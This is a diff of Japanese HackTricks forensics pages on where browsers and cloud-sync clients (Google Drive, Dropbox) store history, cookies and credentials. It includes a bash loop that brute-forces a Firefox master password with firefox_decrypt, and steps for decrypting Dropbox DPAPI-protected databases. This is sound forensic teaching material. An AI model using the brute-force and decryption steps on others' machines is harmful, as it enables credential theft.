- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワードされたワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## ブラウザのアーティファクト <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、一般的に類似したデータ型を保存しつつも、ブラウザごとに異なる場所と名前でオペレーティングシステム内の特定のフォルダに保持されます。
|
||||
ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、オペレーティングシステム内の特定のフォルダに保管されており、ブラウザごとに場所と名前が異なりますが、一般的には類似したデータ型を保存しています。
|
||||
|
||||
以下は、最も一般的なブラウザのアーティファクトの要約です:
|
||||
|
||||
- **ナビゲーション履歴**:ユーザーがWebサイトを訪れた履歴を追跡し、悪意のあるサイトへの訪問を特定するのに役立ちます。
|
||||
- **オートコンプリートデータ**:頻繁な検索に基づいた提案で、ナビゲーション履歴と組み合わせることで洞察を提供します。
|
||||
- **ブックマーク**:ユーザーが保存したサイトへのクイックアクセス。
|
||||
- **ナビゲーション履歴**:ユーザーがWebサイトを訪れた履歴で、悪意のあるサイトへの訪問を特定するのに役立ちます。
|
||||
- **オートコンプリートデータ**:頻繁な検索に基づいた提案で、ナビゲーション履歴と組み合わせると洞察を提供します。
|
||||
- **ブックマーク**:ユーザーが保存したサイトで、迅速にアクセスできます。
|
||||
- **拡張機能とアドオン**:ユーザーがインストールしたブラウザの拡張機能やアドオン。
|
||||
- **キャッシュ**:Webコンテンツ(画像、JavaScriptファイルなど)を保存してWebサイトの読み込み時間を短縮するための貴重な情報。
|
||||
- **キャッシュ**:Webコンテンツ(画像、JavaScriptファイルなど)を保存してWebサイトの読み込み時間を短縮するためのもので、法的解析に貴重です。
|
||||
- **ログイン情報**:保存されたログイン資格情報。
|
||||
- **Favicons**:タブやブックマークに表示されるWebサイトに関連付けられたアイコンで、ユーザーの訪問に関する追加情報に役立ちます。
|
||||
- **Favicons**:Webサイトに関連付けられたアイコンで、タブやブックマークに表示され、ユーザーの訪問に関する追加情報に役立ちます。
|
||||
- **ブラウザセッション**:オープンされたブラウザセッションに関連するデータ。
|
||||
- **ダウンロード**:ブラウザを介してダウンロードされたファイルの記録。
|
||||
- **フォームデータ**:Webフォームに入力された情報で、将来の自動入力提案のために保存されます。
|
||||
- **サムネイル**:Webサイトのプレビュー画像。
|
||||
- **Custom Dictionary.txt**:ユーザーがブラウザの辞書に追加した単語。
|
||||
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefoxは、プロファイル内のユーザーデータをオペレーティングシステムに基づいて特定の場所に保存します:
|
||||
|
@ -50,11 +49,11 @@ Firefoxは、プロファイル内のユーザーデータをオペレーティ
|
|||
- **MacOS**:`/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**:`%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
これらのディレクトリ内にある`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`と同じディレクトリにある`Path`変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが存在しない場合、削除されている可能性があります。
|
||||
これらのディレクトリ内には、`profiles.ini`というファイルがユーザープロファイルのリストを示しています。各プロファイルのデータは、`profiles.ini`と同じディレクトリにある`profiles.ini`内の`Path`変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが見つからない場合は、削除されている可能性があります。
|
||||
|
||||
各プロファイルフォルダ内には、いくつかの重要なファイルがあります:
|
||||
|
||||
- **places.sqlite**:履歴、ブックマーク、ダウンロードを保存します。Windows上の[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)などのツールを使用して履歴データにアクセスできます。
|
||||
- **places.sqlite**:履歴、ブックマーク、ダウンロードを保存します。Windows上の[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)などのツールを使用して履歴データにアクセスできます。
|
||||
- 履歴とダウンロード情報を抽出するために特定のSQLクエリを使用します。
|
||||
- **bookmarkbackups**:ブックマークのバックアップが含まれています。
|
||||
- **formhistory.sqlite**:Webフォームデータを保存します。
|
||||
|
@ -62,16 +61,15 @@ Firefoxは、プロファイル内のユーザーデータをオペレーティ
|
|||
- **persdict.dat**:カスタム辞書の単語。
|
||||
- **addons.json**および**extensions.sqlite**:インストールされたアドオンと拡張機能に関する情報。
|
||||
- **cookies.sqlite**:Cookieの保存先で、Windows上で[MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)を使用して検査できます。
|
||||
- **cache2/entries**または**startupCache**:キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html)などのツールを使用してアクセスできます。
|
||||
- **favicons.sqlite**:Faviconsを保存します。
|
||||
- **cache2/entries**または**startupCache**:キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)などのツールを使用してアクセスできます。
|
||||
- **favicons.sqlite**:faviconsを保存します。
|
||||
- **prefs.js**:ユーザー設定と環境設定。
|
||||
- **downloads.sqlite**:古いダウンロードデータベースで、現在はplaces.sqliteに統合されています。
|
||||
- **thumbnails**:Webサイトのサムネイル。
|
||||
- **logins.json**:暗号化されたログイン情報。
|
||||
- **key4.db**または**key3.db**:機密情報を保護するための暗号化キーを保存します。
|
||||
|
||||
さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内で`browser.safebrowsing`エントリを検索して、セーフブラウジング機能が有効か無効かを確認できます。
|
||||
|
||||
さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内で`browser.safebrowsing`エントリを検索して、安全なブラウジング機能が有効になっているか無効になっているかを確認できます。
|
||||
|
||||
マスターパスワードを復号化しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用できます。\
|
||||
次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます:
|
||||
|
@ -87,10 +85,6 @@ echo "Trying $pass"
|
|||
echo "$pass" | python firefox_decrypt.py
|
||||
done < $passfile
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
![](<../../../.gitbook/assets/image (417).png>)
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chromeは、オペレーティングシステムに基づいて特定の場所にユーザープロファイルを保存します:
|
||||
|
@ -102,19 +96,18 @@ Google Chromeは、オペレーティングシステムに基づいて特定の
|
|||
これらのディレクトリ内で、ほとんどのユーザーデータは **Default/** や **ChromeDefaultData/** フォルダにあります。重要なデータを保持する以下のファイルがあります:
|
||||
|
||||
- **History**: URL、ダウンロード、検索キーワードを含む。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html)を使用して履歴を読むことができます。"Transition Type"列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。
|
||||
- **Cookies**: クッキーを保存。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) が利用できます。
|
||||
- **Cache**: キャッシュされたデータを保持。検査するために、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) を利用できます。
|
||||
- **Cookies**: クッキーを保存します。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html)が利用できます。
|
||||
- **Cache**: キャッシュされたデータを保持します。検査するために、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)を利用できます。
|
||||
- **Bookmarks**: ユーザーのブックマーク。
|
||||
- **Web Data**: フォームの履歴を含む。
|
||||
- **Favicons**: ウェブサイトのファビコンを保存。
|
||||
- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含む。
|
||||
- **Web Data**: フォーム履歴を含む。
|
||||
- **Favicons**: ウェブサイトのファビコンを保存します。
|
||||
- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含みます。
|
||||
- **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンされているタブに関するデータ。
|
||||
- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。
|
||||
- **Extensions**: ブラウザの拡張機能やアドオンのためのディレクトリ。
|
||||
- **Thumbnails**: ウェブサイトのサムネイルを保存。
|
||||
- **Thumbnails**: ウェブサイトのサムネイルを保存します。
|
||||
- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。
|
||||
- **ブラウザの組み込みのフィッシング対策**: フィッシング対策とマルウェア保護が有効になっているかどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` を実行します。出力で `{"enabled: true,"}` を探します。
|
||||
|
||||
- **ブラウザの組み込みのフィッシング対策**: フィッシング対策やマルウェア保護が有効になっているかどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を実行します。出力で `{"enabled: true,"}` を探します。
|
||||
|
||||
## **SQLite DBデータの回復**
|
||||
|
||||
|
@ -122,26 +115,31 @@ Google Chromeは、オペレーティングシステムに基づいて特定の
|
|||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 は、格納された情報とそれに対応する詳細を簡単にアクセスおよび管理するために、さまざまな場所にデータとメタデータを管理しています。
|
||||
Internet Explorer 11は、異なる場所にデータとメタデータを管理しており、格納された情報とそれに対応する詳細を簡単にアクセスおよび管理するのに役立ちます。
|
||||
|
||||
### メタデータの保存
|
||||
Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VX は V01、V16、または V24)に保存されます。これに加えて、`V01.log` ファイルは `WebcacheVX.data` との修正時刻の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このメタデータは ESEデータベースに格納されており、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) などのツールを使用して回復および検査が可能です。**Containers** テーブル内では、各データセグメントが格納されている特定のテーブルやコンテナを識別することができ、Skypeなどの他のMicrosoftツールのキャッシュの詳細も含まれます。
|
||||
|
||||
Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VXはV01、V16、またはV24)に保存されます。これに加えて、`V01.log`ファイルは `WebcacheVX.data` との修正時間の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このESEデータベースに格納されたメタデータは、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) などのツールを使用して回復および検査することができます。**Containers** テーブル内では、各データセグメントが格納されている特定のテーブルやコンテナを識別することができ、Skypeなどの他のMicrosoftツールのキャッシュの詳細も含まれます。
|
||||
|
||||
### キャッシュの検査
|
||||
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) ツールを使用してキャッシュを検査することができ、キャッシュデータの抽出フォルダの場所が必要です。キャッシュのメタデータには、ファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。
|
||||
|
||||
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) ツールを使用すると、キャッシュデータの抽出フォルダの場所が必要となり、キャッシュのメタデータにはファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。
|
||||
|
||||
### クッキーの管理
|
||||
クッキーは [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査することができ、メタデータには名前、URL、アクセス回数、さまざまな時間に関する詳細が含まれます。永続的なクッキーは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションクッキーはメモリに保存されます。
|
||||
|
||||
クッキーは [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査することができ、メタデータには名前、URL、アクセス回数、さまざまな時間関連の詳細が含まれます。永続的なクッキーは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションクッキーはメモリに保存されます。
|
||||
|
||||
### ダウンロードの詳細
|
||||
ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) を介してアクセスでき、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが格納されています。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。
|
||||
|
||||
ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) を介してアクセスでき、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが保持されます。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。
|
||||
|
||||
### 閲覧履歴
|
||||
閲覧履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) を使用し、抽出された履歴ファイルの場所とInternet Explorerの構成が必要です。ここでのメタデータには、修正時刻、アクセス回数などが含まれます。履歴ファイルは `%userprofile%\Appdata\Local\Microsoft\Windows\History` にあります。
|
||||
|
||||
閲覧履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) を使用し、抽出された履歴ファイルの場所とInternet Explorerの構成が必要です。ここでのメタデータには、修正時間、アクセス回数などが含まれます。履歴ファイルは `%userprofile%\Appdata\Local\Microsoft\Windows\History` にあります。
|
||||
|
||||
### 入力されたURL
|
||||
入力されたURLとその使用時刻は、`NTUSER.DAT` 内の `Software\Microsoft\InternetExplorer\TypedURLs` および `Software\Microsoft\InternetExplorer\TypedURLsTime` に格納されており、ユーザーが入力した最後の50のURLとその最終入力時刻を追跡しています。
|
||||
|
||||
入力されたURLとその使用時刻は、`NTUSER.DAT` 内の `Software\Microsoft\InternetExplorer\TypedURLs` および `Software\Microsoft\InternetExplorer\TypedURLsTime` に格納されており、ユーザーが入力した最後の50のURLとその最終入力時刻を追跡しています。
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
|
@ -157,49 +155,24 @@ Microsoft Edgeは、ユーザーデータを `%userprofile%\Appdata\Local\Packag
|
|||
|
||||
Safariのデータは `/Users/$User/Library/Safari` に保存されます。主要なファイルは次のとおりです:
|
||||
|
||||
- **History.db**: URLと訪問時刻を含む `history_visits` および `history_items` テーブルが含まれています。クエリを実行するには `sqlite3` を使用します。
|
||||
- **History.db**: URLと訪問タイムスタンプを含む `history_visits` および `history_items` テーブルが含まれています。クエリを実行するには `sqlite3` を使用します。
|
||||
- **Downloads.plist**: ダウンロードしたファイルに関する情報。
|
||||
- **Bookmarks.plist**: ブックマークされたURLを保存します。
|
||||
- **TopSites.plist**: 最も頻繁に訪れたサイト。
|
||||
- **Extensions.plist**: Safariブラウザの拡張機能のリスト。取得するには `plutil` または `pluginkit` を使用します。
|
||||
- **UserNotificationPermissions.plist**: 通知をプッシュすることが許可されたドメイン。解析するには `plutil` を使用します。
|
||||
- **LastSession.plist**: 最後のセッションからのタブ。解析するには `plutil` を使用します。
|
||||
- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。1 が返されると、機能が有効になっていることを示します。
|
||||
- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。1が返されると、その機能が有効になっていることを示します。
|
||||
|
||||
## Opera
|
||||
|
||||
Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` にあり、履歴やダウンロードに関してはChromeと同じ形式を共有しています。
|
||||
|
||||
- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled` が `true` に設定されているかどうかを確認することで検証します。`grep` を使用します。
|
||||
- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled` が `true` に設定されているかどうかを確認するには、`grep` を使用してください。
|
||||
|
||||
これらのパスとコマンドは、異なるウェブブラウザによって保存されるブラウジングデータにアクセスして理解するために重要です。
|
||||
|
||||
|
||||
# 参考文献
|
||||
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
* [https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
||||
* **書籍: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝**したり、**PDF形式で HackTricks をダウンロード**したりするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* 独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) を含む [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする
|
||||
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
* **HackTricks** に掲載されたい場合や **HackTricks の PDF をダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションをご覧ください
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください**
|
||||
* **ハッキングテクニックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください**.
|
||||
|
|
|
@ -2,22 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -40,9 +40,9 @@ CIDを見つけたら、**このIDを含むファイルを検索**すること
|
|||
## Google Drive
|
||||
|
||||
Windowsでは、メインのGoogle Driveフォルダを`\Users\<username>\AppData\Local\Google\Drive\user_default`で見つけることができます。\
|
||||
このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれたSync\_log.logというファイルが含まれています。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。
|
||||
このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれたSync\_log.logというファイルが含まれています。削除されたファイルも、その対応するMD5とともにそのログファイルに表示されます。
|
||||
|
||||
ファイル**`Cloud_graph\Cloud_graph.db`**は、**`cloud_graph_entry`**というテーブルを含むsqliteデータベースで、このテーブルでは、**同期されたファイル**の**名前**、変更時刻、サイズ、およびファイルのMD5チェックサムを見つけることができます。
|
||||
ファイル**`Cloud_graph\Cloud_graph.db`**は、**`cloud_graph_entry`**というテーブルを含むsqliteデータベースで、このテーブルでは、**同期されたファイル**の**名前**、変更時間、サイズ、およびファイルのMD5チェックサムを見つけることができます。
|
||||
|
||||
データベース**`Sync_config.db`**のテーブルデータには、アカウントのメールアドレス、共有フォルダのパス、Google Driveのバージョンが含まれています。
|
||||
|
||||
|
@ -64,7 +64,7 @@ Dropboxはファイルを管理するために**SQLiteデータベース**を使
|
|||
|
||||
".dbx"拡張子は、これらのデータベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
Dropboxが使用する暗号化をよりよく理解するには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください。
|
||||
Dropboxが使用する暗号化をよりよく理解するためには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください。
|
||||
|
||||
ただし、主な情報は次のとおりです:
|
||||
|
||||
|
@ -80,11 +80,11 @@ Dropboxが使用する暗号化をよりよく理解するには、[https://blog
|
|||
- **DPAPIマスターキー**:これは`\Users\<username>\AppData\Roaming\Microsoft\Protect`で見つけることができます
|
||||
- Windowsユーザーの**ユーザー名**と**パスワード**
|
||||
|
||||
その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)ツールを使用できます:
|
||||
その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)****ツールを使用できます:
|
||||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
すべてが予想通りに進むと、ツールは**元のキーを回復するために必要な主キー**を示します。元のキーを回復するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)を使用し、主キーを受け取った「パスフレーズ」として設定します。
|
||||
すべてが予想通りに進むと、ツールは復元するために必要な**プライマリキー**を示します。元のキーを復元するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)を使用し、プライマリキーを受け取った「パスフレーズ」として設定します。
|
||||
|
||||
結果の16進数は、データベースを復号化するために使用される最終キーであり、次のように復号化できます:
|
||||
```bash
|
||||
|
@ -108,16 +108,16 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
|
|||
このデータベース内の他のテーブルには、さらに興味深い情報が含まれています:
|
||||
|
||||
- **block\_cache**: Dropboxのすべてのファイルとフォルダのハッシュ
|
||||
- **block\_ref**: テーブル`block_cache`のハッシュIDをテーブル`file_journal`のファイルIDと関連付ける
|
||||
- **block\_ref**: テーブル`block_cache`のハッシュIDをテーブル`file_journal`のファイルIDに関連付ける
|
||||
- **mount\_table**: Dropboxの共有フォルダ
|
||||
- **deleted\_fields**: Dropboxで削除されたファイル
|
||||
- **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -127,10 +127,10 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
